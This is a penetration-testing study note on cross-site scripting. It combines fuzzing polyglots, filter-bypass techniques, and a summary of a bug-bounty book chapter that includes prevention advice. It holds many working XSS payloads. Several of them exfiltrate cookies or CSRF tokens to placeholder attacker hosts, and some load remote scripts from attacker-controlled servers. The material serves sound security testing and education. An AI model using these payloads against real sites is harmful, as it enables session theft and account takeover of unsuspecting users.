Table of Contents
Tactical Fuzzing - XSS
XSS
Core Idea: Does the page functionality display something to the users? For time sensitive testing the 80/20 rule applies. Many testers use Polyglot payloads. You probably have too!
Multi-context, filter bypass based polyglot payload #1 (Rsnake XSS Cheat Sheet)
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Multi-context, filter bypass based polyglot payload #2 (Ashar Javed XSS Research)
">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http://i.imgur.com/P8mL8.jpg">
Multi-context polyglot payload (Mathias Karlsson)
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
Other XSS Observations
Input Vectors:
- Customizable Themes & Profiles via CSS
- Event or meeting names
- URI based
- Imported from a 3rd party (think Facebook integration)
- JSON POST Values (check returning content type)
- File Upload names
- Uploaded files (swf, HTML, ++)
- Custom Error pages
- fake params - ?realparam=1&foo=bar'+alert(/XSS/)+'
- Login and Forgot password forms
SWF Parameter XSS
Common Params: onload, allowedDomain, movieplayer, xmlPath, eventhandler, callback (more on OWASP page)
Common Injection Strings:
\%22})))}catch(e){alert(document.domain);}//
"]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
"a")(({type:"ready"}));}catch(e){alert(1)}//
Zseano's XSS Filter Bypass Flow
- How are non-malicious tags handled?
<h2>,<b> - Incomplete tags? <iframe src=//attacker.com/c=
- Encodings?
<%00h2>,%0d,%0a,%09 - Hardcoded blacklist? Does
</script/x>work?<ScRiPt>? - WAF filter: does it filter parameter values but not names?
Blind XSS targets: support tickets, admin-visible fields (name, bio), log-visible headers (User-Agent, Referer).
Missed vectors: CSS customization fields, event names, file upload filenames, JSON POST bodies, custom error pages, mobile app forms.
BBC Ch 6: Cross-Site Scripting
Merged from Bug Bounty Bootcamp Ch 6 by Vickie Li
How XSS Works
XSS happens when an attacker injects a script into a page that another user views. Because the injected script runs in the victim's browser as if it belongs to the target site, it can access anything the site's JavaScript can access: cookies, session tokens, page content, CSRF tokens.
Classic cookie-theft payload:
<script>image = new Image(); image.src='http://attacker_server_ip/?c='+document.cookie;</script>
If HttpOnly is set on the session cookie, JS cannot read it – but XSS can still perform actions on the victim's behalf, steal CSRF tokens from the DOM, or replace the page with a phishing login form.
XSS Types
Stored XSS
User input is saved server-side (database, log, message board) and rendered to other users without sanitization. A single payload attacks every visitor. Most severe type.
Classic vector: a comment field that renders JS to every user who loads the page.
Blind XSS
A stored XSS variant where the payload fires in a part of the app the attacker cannot see, typically an admin panel or internal log viewer. Submit through a user-facing form (support ticket, contact form, User-Agent header), and the script executes when an admin views it.
Detection – use an out-of-band callback:
<script src='http://YOUR_SERVER_IP/xss'></script>
Watch server logs for GET /xss. XSSHunter automates this.
Reflected XSS
User input is returned in the same request/response without being stored. Typical vector: search queries, error messages, URL parameters reflected onto the page. Victim must click a crafted link.
https://example.com/search?q=<script>alert('XSS');</script>
DOM-Based XSS
The payload never reaches the server. Client-side JS reads user-supplied data (URL fragment, query param) and writes it to the DOM insecurely. The HTTP response is unchanged – server-side WAFs cannot see it.
URL fragments ('#') never leave the browser, so DOM XSS via fragments bypasses server-side filtering entirely.
https://example.com?locale=<script>location='http://attacker/?c='+document.cookie;</script>
Self-XSS
Victim must inject the payload themselves (social engineering required). Not accepted in bug bounty programs.
Prevention
- Input validation – reject input containing dangerous characters server-side
- Output escaping – encode
<,>,“,&before inserting user data into HTML; use context-appropriate encoding (HTML, JS, URL, CSS) - HttpOnly on session cookies – prevents JS cookie theft even if XSS fires
- Content-Security-Policy header –
script-src 'self' blocks inline scripts and external origins - Modern JS frameworks – React, Angular 2+, Vue.js escape output by default
DOM XSS requires client-side input validation before writing to the DOM. Server-side sanitization alone does not stop it.
Reference: OWASP XSS Prevention Cheat Sheet
Hunting for XSS
Step 1: Find Input Opportunities
- Every text field, search box, sign-up form, comment field, profile field
- URL parameters and fragments that appear in the page
- Drop-down menus and numeric fields – intercept with Burp and replace the value; client-side input restrictions don't apply at the network layer
- Insert a unique canary string (e.g.
XSS_BY_VICKIE) everywhere, then search page source to see which fields reach the DOM
Step 2: Insert Payloads
| Payload | Purpose |
|---|---|
<script>alert(1)</script> | Basic test – pop-up if unfiltered |
<iframe src=javascript:alert(1)> | Useful when script tags are blocked |
<body onload=alert(1)> | No “script” string required |
”><img src=x onerror=prompt(1);> | Closes previous tag, fires JS on img error |
<script>alert(1)<!- | Comments out remainder of line |
<a onmouseover=“alert(1)”>test</a> | Fires on hover |
<script src=attacker.com/test.js> | Loads external script |
XSS polyglot (fires across img, script, p contexts):
javascript:"/*"/*`/*' /*</template> </textarea></noembed></noscript></title> </style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
Generic test string to identify which characters get escaped: >'<“;:!–
Blind XSS OOB payload:
<script src='http://YOUR_SERVER_IP/xss'></script>
Watch server logs for GET /xss to confirm execution.
Step 3: Confirm Impact
- Stored: does your alert fire on the display page?
- Reflected/DOM: does the browser redirect or pop an alert?
- Blind: check server logs for the callback request
- Account for timing delays – blind XSS on admin pages only fires when an admin is logged in
Bypassing XSS Filters
Alternative JS Syntax
If <script> is blocked, use event handlers or URL schemes:
<img src="123" onerror="alert('XSS');"/>
<a href="javascript:alert('XSS')">Click me!</a>
javascript: and data: schemes execute JS in anchor and iframe src attributes:
data:text/html,<script>alert('XSS')</script>
Capitalization and Encoding
Mix case to bypass exact-string filters (browsers parse HTML permissively):
<scrIPT>location='http://attacker/?c='+document.cookie;</scrIPT>
If quotes are filtered, use String.fromCharCode():
<scrIPT>location=String.fromCharCode(104,116,116,112,58,47,47,97,116,116,97,99,107,101,114)+document.cookie;</scrIPT>
Filter Logic Errors
If the filter removes <script> exactly once, nest tags so removal reconstructs the outer tag:
<scrip<script>t>location='http://attacker/?c='+document.cookie;</scrip</script>t>
Closing Out Tags
When input lands inside an existing attribute (e.g. <img src=“USER_INPUT”>), close the attribute and tag first:
"/><script>location="http://attacker.com";</script>
Check the browser console for syntax errors if your payload doesn't fire.
Reference: OWASP XSS filter evasion cheat sheet
Escalating the Attack
Impact depends on where the XSS fires:
- Server logs / admin panel – stored XSS can compromise admin accounts, exfiltrate customer data, escalate to RCE via shell upload
- General user base – session hijacking via cookie theft, account takeover
- CSRF token theft – steal the token from the DOM, then perform state-changing actions as the victim:
var token = document.getElementById('csrf-token').value; var xhr = new XMLHttpRequest(); xhr.open("GET", "http://attacker_server_ip/?token="+token, true); xhr.send(null);
- Page replacement – replace the DOM with a fake login form (credential phishing)
- RCE escalation – if the XSS fires in an Electron app or as an admin with file upload access
7-Step Checklist
- Look for user input opportunities. Stored input: test for stored XSS. URL-reflected input: test for reflected and DOM XSS.
- Insert XSS payloads at all discovered injection points. Use payload lists, polyglots, or a generic test string.
- Confirm impact: pop-up, redirect, or OOB callback from your server.
- If payloads are blocked, bypass XSS protections (alt syntax, encoding, filter logic errors).
- Automate with Burp Intruder or a fuzzer.
- Assess impact: who does it target? How many users? Admin context or general user?
- Send the report with a working PoC.
